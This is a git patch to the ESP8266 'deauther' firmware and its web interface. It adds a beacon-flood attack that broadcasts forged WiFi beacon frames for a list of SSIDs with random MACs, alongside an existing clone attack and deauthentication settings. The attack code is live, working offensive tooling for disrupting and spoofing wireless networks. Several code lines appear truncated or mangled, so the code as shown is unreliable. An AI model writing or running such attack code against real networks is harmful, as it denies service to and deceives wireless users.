From 7e2dfcbf5a6c81683fc9245c27b0c8de30856af7 Mon Sep 17 00:00:00 2001 From: Stefan Kremser Date: Mon, 27 Feb 2017 12:41:59 +0100 Subject: [PATCH] Implemented beacon list attack and improved the json string generation --- esp8266_deauther/APScan.cpp | 2 +- esp8266_deauther/Attack.cpp | 59 +++++++++++++++++++-------- esp8266_deauther/Attack.h | 7 ++-- esp8266_deauther/ClientScan.cpp | 12 +++--- esp8266_deauther/ClientScan.h | 2 +- esp8266_deauther/Settings.cpp | 12 ++++-- esp8266_deauther/Settings.h | 2 + esp8266_deauther/data.h | 8 ++-- esp8266_deauther/esp8266_deauther.ino | 6 ++- htmlfiles/attack.html | 8 +++- htmlfiles/clients.html | 20 ++++----- htmlfiles/index.html | 7 ++-- htmlfiles/settings.html | 17 +++++--- 13 files changed, 104 insertions(+), 58 deletions(-) diff --git a/esp8266_deauther/APScan.cpp b/esp8266_deauther/APScan.cpp index 8bf11e0..5a3011e 100644 --- a/esp8266_deauther/APScan.cpp +++ b/esp8266_deauther/APScan.cpp @@ -92,7 +92,7 @@ String APScan::getResults(){ json += "\"m\":\""+getAPMac(i)+"\","; json += "\"ss\":\""+getAPName(i)+"\","; json += "\"r\":"+(String)getAPRSSI(i)+","; - json += "\"e\":\""+(String)encryption[i]+"\","; + json += "\"e\":"+(String)encryption[i]+","; //json += "\"v\":\""+getAPVendor(i)+"\","; json += "\"se\":"+(String)getAPSelected(i); json += "}"; diff --git a/esp8266_deauther/Attack.cpp b/esp8266_deauther/Attack.cpp index 1265e83..68a5143 100644 --- a/esp8266_deauther/Attack.cpp +++ b/esp8266_deauther/Attack.cpp @@ -10,7 +10,8 @@ void Attack::generate(){ Mac _randomBeaconMac; uint8_t _randomMacBuffer[6]; beaconAdrs._clear(); - + + for(int i=0;i32) ssidLen = 32; @@ -48,9 +49,6 @@ void Attack::buildBeacon(Mac _ap, Mac _client, String _ssid, int _ch, bool encry } for(int i=0;i<6;i++){ - //set target (client) - //packet[4+i] = _client._get(i); - packet[4+i] = _client._get(i); //set source (AP) packet[10+i] = packet[16+i] = _ap._get(i); } @@ -150,7 +148,7 @@ void Attack::run(){ } } - /* =============== Beacon Attack =============== */ + /* =============== Beacon clone Attack =============== */ if(isRunning[1] && currentMillis-prevTime[1] >= 100){ if(debug) Serial.print("running "+(String)attackNames[1]+" attack"); prevTime[1] = millis(); @@ -160,15 +158,13 @@ void Attack::run(){ String _ssid = apScan.getAPName(a); int _ssidLen = _ssid.length(); int _restSSIDLen = 32 - _ssidLen; - int _ch = apScan.getAPChannel(a); - - Mac _broadcast; - _broadcast.set(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF); + //int _ch = apScan.getAPChannel(a); //wifi_set_channel(_ch); for(int c=0;c settings.attackTimeout) stop(1); } } + + /* =============== Beacon list Attack =============== */ + if(isRunning[2] && currentMillis-prevTime[2] >= 100){ + if(debug) Serial.print("running "+(String)attackNames[2]+" attack"); + prevTime[2] = millis(); + + for(int a=0;a= macChangeInterval){ + generate(); + macListChangeCounter = 0; + } + if(debug) Serial.println("done"); + if(settings.attackTimeout > 0){ + attackTimeoutCounter[2]++; + if(attackTimeoutCounter[2]/10 > settings.attackTimeout) stop(2); + } + } } @@ -213,8 +237,9 @@ void Attack::start(int num){ prevTime[num] = millis(); attackTimeoutCounter[num] = 0; if(debug) Serial.println("starting "+(String)attackNames[num]+" attack"); + if(num == 1 && isRunning[2]) stop(2); + else if(num == 2 && isRunning[1]) stop(1); }else stop(num); - } void Attack::stop(int num){ @@ -232,13 +257,11 @@ void Attack::stopAll(){ String Attack::getResults(){ if(debug) Serial.print("getting attacks JSON..."); - + + for(int i=0;i #include "Mac.h" diff --git a/esp8266_deauther/Settings.cpp b/esp8266_deauther/Settings.cpp index 77b2047..4dde409 100644 --- a/esp8266_deauther/Settings.cpp +++ b/esp8266_deauther/Settings.cpp @@ -19,6 +19,7 @@ void Settings::load(){ attackTimeout = eepromReadInt(attackTimeoutAdr); attackPacketRate = EEPROM.read(attackPacketRateAdr); clientScanTime = EEPROM.read(clientScanTimeAdr); + attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr); } } @@ -35,6 +36,7 @@ void Settings::reset(){ attackTimeout = 5*60; attackPacketRate = 10; clientScanTime = 15; + attackEncrypted = false; if(debug) Serial.println("done"); @@ -57,6 +59,7 @@ void Settings::save(){ EEPROM.write(attackPacketRateAdr, attackPacketRate); EEPROM.write(clientScanTimeAdr, clientScanTime); + EEPROM.write(attackEncryptedAdr, attackEncrypted); EEPROM.commit(); if(debug){ @@ -75,6 +78,7 @@ void Settings::info(){ Serial.println("attack timeout: "+(String)attackTimeout); Serial.println("attack packet rate: "+(String)attackPacketRate); Serial.println("client scan time: "+(String)clientScanTime); + Serial.println("attack SSID encrypted: "+(String)attackEncrypted); } String Settings::get(){ @@ -86,14 +90,14 @@ String Settings::get(){ json += "\"attackTimeout\":"+(String)attackTimeout+","; json += "\"attackPacketRate\":"+(String)attackPacketRate+","; json += "\"clientScanTime\":"+(String)clientScanTime+","; + json += "\"attackEncrypted\":"+(String)attackEncrypted+","; json += "\"nameList\":["; for(int i=0;i
beacon [beacon flood attack]:
- Spams beacon frames with a similar SSID as the selected WiFi access point(s). + (clone:) spams beacon frames with a similar SSID as the selected WiFi access point(s).
+ (list:) spams beacon frames with all SSIDs in the list below.


-

SSIDs:

+

SSIDs: 0/64


@@ -65,6 +66,7 @@ var table = document.getElementsByTagName("table")[0]; var ssidList = document.getElementsByTagName("table")[1]; var saved = document.getElementById("saved"); + var ssidCounter = document.getElementById("ssidCounter"); var resultInterval; var res; @@ -94,6 +96,8 @@ } table.innerHTML = tr; + ssidCounter.innerHTML = res.ssid.length+"/64"; + var tr = "NameX"; for(var i=0;i b.packets) return -1; - if (a.packets < b.packets) return 1; + if (a.p > b.p) return -1; + if (a.p < b.p) return 1; return 0; } @@ -84,15 +84,15 @@ for(var i=0;i'; - tr += ''+res.clients[i].vendor+''; - tr += ''+res.clients[i].name+' edit'; - tr += ''+res.clients[i].mac+''; + tr += ''+res.clients[i].p+''; + tr += ''+res.clients[i].v+''; + tr += ''+res.clients[i].n+' edit'; + tr += ''+res.clients[i].m+''; - if(res.clients[i].selected) tr += ''; - else tr += ''; + if(res.clients[i].s == 1) tr += ''; + else tr += ''; tr += ''; } @@ -130,7 +130,7 @@ } function changeName(id){ - var newName = prompt("Name for "+res.clients[id].mac); + var newName = prompt("Name for "+res.clients[id].m); if(newName != null){ getResponse("setName.json?id="+id+"&name="+newName,function(responseText){ if(responseText == "true") getResults(); diff --git a/htmlfiles/index.html b/htmlfiles/index.html index 7d7a1a9..b9befb6 100644 --- a/htmlfiles/index.html +++ b/htmlfiles/index.html @@ -81,10 +81,11 @@ } function getEncryption(num){ - if(num == 5) return "WEP"; - else if(num == 2) return "WPA"; + if(num == 8) return "WPA*"; else if(num == 4) return "WPA2"; - else if(num == 8) return "WPA*"; + else if(num == 2) return "WPA"; + else if(num == 7) return "none"; + else if(num == 5) return "WEP"; } function getResults(){ diff --git a/htmlfiles/settings.html b/htmlfiles/settings.html index f0b22be..93e2c5a 100644 --- a/htmlfiles/settings.html +++ b/htmlfiles/settings.html @@ -53,6 +53,10 @@ s

0 = no timeout

+ + +
+

reason codes: click

@@ -88,6 +92,7 @@ var packetRate = document.getElementById('packetRate'); var saved = document.getElementById('saved'); var clientNames = document.getElementById('clientNames'); + var ssidEnc = document.getElementById('ssidEnc'); var res; function getData(){ @@ -100,6 +105,7 @@ timeout.value = res.attackTimeout; deauthReason.value = res.deauthReason; packetRate.value = res.attackPacketRate; + ssidEnc.checked = res.attackEncrypted; clientNames.innerHTML = "Client Names "+res.nameList.length+"/50"; @@ -108,10 +114,10 @@ for(var i=0;i'; - tr += ''+res.nameList[i].vendor+''; - tr += ''+res.nameList[i].name+' edit'; - tr += ''; + tr += ''+res.nameList[i].m+''; + tr += ''+res.nameList[i].v+''; + tr += ''+res.nameList[i].n+' edit'; + tr += ''; tr += ''; } @@ -121,7 +127,7 @@ } function changeName(id){ - var newName = prompt("Name for "+res.nameList[id].mac); + var newName = prompt("Name for "+res.nameList[id].m); if(newName != null){ getResponse("editNameList.json?id="+id+"&name="+newName,function(responseText){ if(responseText == "true") getData(); @@ -146,6 +152,7 @@ url += "&timeout="+timeout.value; url += "&deauthReason="+deauthReason.value; url += "&packetRate="+packetRate.value; + url += "&ssidEnc="+ssidEnc.checked; getResponse(url, function(responseText){ if(responseText == "true"){